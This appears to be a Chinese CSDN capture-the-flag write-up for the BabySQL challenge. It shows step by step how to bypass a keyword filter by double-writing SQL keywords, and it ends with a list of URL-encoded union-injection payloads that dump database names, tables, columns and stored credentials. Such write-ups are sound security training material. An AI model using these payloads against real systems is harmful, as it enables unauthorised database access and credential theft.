BUU_web [极客大挑战 2019]BabySQL

本文详细介绍了通过SQL注入攻击进行字段探测的过程,使用Burpsuite工具构造payload,绕过关键字过滤,最终实现联合注入,揭示了数据库的结构和信息。重点讲解了URL编码在payload构造中的重要性以及双写技巧。
摘要由CSDN通过智能技术生成

打开解题网址,一个账号密码输入框,根据题目,显然是sql注入:

在这里插入图片描述
尝试以 admin ,弱密码登录:

在这里插入图片描述
发现是get传参,提示登录错误用户或密码,进行抓包,并尝试单引号报错,找到报错显示位:

在这里插入图片描述
%23尝试闭合语句,闭合成功:
在这里插入图片描述
到这里,有个一点需要注意:

  • 如果用 burpsuite 进行sql注入,那么语句里面包含的空格 或者 # 号需要进行手动url编码再写入payload,因为 burpsuite 上是直接以 url 传参,不会再对数据进行自动url编码;而如果是直接在输入框上做 sql 注入,则不用,因为输在输入框的数据会经过一次自动 url 编码,再被写入到 url 里面;

接下来我利用burpsuite (接下来的sql语句请特别注意空格和 # 号的url编码,容易看花眼),构造payload,进行字段个数查询:
空格 url 编码 : %20 # 号 url 编码 : %23
admin'%20order%20by%203%20%23

观察报错语句,发现 or, by 均被过滤,那么盲猜后台也过滤了一些注入常用的关键字union,select,from,等;

加粗样式
因此尝试 双写绕过,payload:

admin'%20oorrder%20bbyy%203%20%23

绕过成功,知道了有三个 字段 ,并发现一个这个sql语句相当于一个万能密码:
在这里插入图片描述
再使用 union 联合注入加双写绕过,观察页面显示位,显示位分别是 2 和 3:

在这里插入图片描述
接下来,在 2 和 3 两个显示位随便挑一个进行常规的联合注入即可;

值得注意的是,带有 or 两个字母的单词也需要进行 双写绕过,请看官自行体会;

all the payload:(注意 payload 里的 0 和 admin)


babysql:

admin'%20oorrder%20bbyy%203%20%23 字段为3

0'%20uunionnion%20seselectlect%201,2,3%23 显示为为 2, 3


0'%20uunionnion%20seselectlect%201,2,database()%23 当前数据库为 geek

0'%20uunionnion%20seselectlect%201,2,group_concat(table_name)%20ffromrom%20infoorrmation_schema.tables%20wwherehere%20table_schema='geek'%23 
表为 b4bsql,geekuser


0'%20uunionnion%20seselectlect%201,2,group_concat(column_name)%20ffromrom%20infoorrmation_schema.columns%20wwherehere%20table_name='b4bsql'%23 
字段名为 id,username,password

0'%20uunionnion%20seselectlect%201,2,group_concat(username,'@',passwoorrd)ffromrom%20b4bsql%23 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值